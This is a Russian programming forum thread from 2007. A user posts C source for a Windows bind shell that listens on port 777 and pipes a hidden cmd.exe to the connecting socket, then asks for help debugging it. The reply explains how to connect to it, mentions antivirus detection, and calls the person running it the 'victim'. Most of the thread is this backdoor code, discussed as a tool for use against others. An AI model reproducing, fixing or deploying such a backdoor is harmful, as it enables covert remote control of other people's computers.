Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Проблема с реалезацией шелла под windows

841
21 февраля 2007 года
_nic
199 / / 29.07.2006
Прочитав в одной статье метод реализации шелла для винды с помощью пайпов, я попробовал это реализовать
Код:
#include <windows.h>
main()
{
SECURITY_ATTRIBUTES sa;
SOCKET s,s1;WSADATA wsaData;
sockaddr_in adr,adr1;
adr.sin_family=AF_INET;
adr.sin_port=htons(777);
adr.sin_addr.s_addr=INADDR_ANY;
HANDLE cstdin,wstdin,rstdin,rstdout,cstdout;
LPDWORD fexit;  int MAX_BUF_SIZE=1024;int a;
STARTUPINFO si; LPTSTR SHELL="cmd.exe";PROCESS_INFORMATION pi; DWORD N,total;
char buf[1];
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);

sa.bInheritHandle = TRUE;
WSAStartup (MAKEWORD (1,1),&wsaData);
s=socket(AF_INET,SOCK_STREAM,0);
bind(s,(sockaddr*)&adr,sizeof(adr));
listen(s,3);

if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1;

if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1;

GetStartupInfo(&si);

si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

si.wShowWindow = SW_HIDE;

si.hStdOutput = cstdout;

si.hStdError = cstdout;

si.hStdInput = cstdin;
s1=accept(s,(sockaddr*)&adr1,NULL);
if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1;
GetExitCodeProcess(pi.hProcess,(LPDWORD)&fexit);
while (fexit == (LPDWORD)STILL_ACTIVE)

{
if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)

{

for (  a = 0; a < total; a +=  MAX_BUF_SIZE)

{

ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);

send(s1, buf, N, 0);

}

}

if (!ioctlsocket(s, FIONREAD , &N) && N)

{

recv(s1, buf, 1, 0);

if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);

WriteFile(wstdin, buf, 1, &N, 0);

}

Sleep(1);

}
}

Только вот неработает :( .Сколько не пытался понять в чем дело(то ли accept не там, то ли с циклом что не то)
- безрезультатно :mad: .Знающие люди подскажите плиз где я ошибок налепил.
18K
22 февраля 2007 года
max_br
34 / / 10.12.2006
И в чем именно оно не работает?
делаеш свой клиент, конектишся на 777-ой порт, запускаеться консоль(скрытая, каманды передавать-получать через твоего клиента).

Палиться любым антивирем:)

А вот то что приконектился один раз - и все, следуйший раз не получеш.:D прийдеться ждать пока жертва твою програму сама перезапистит
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог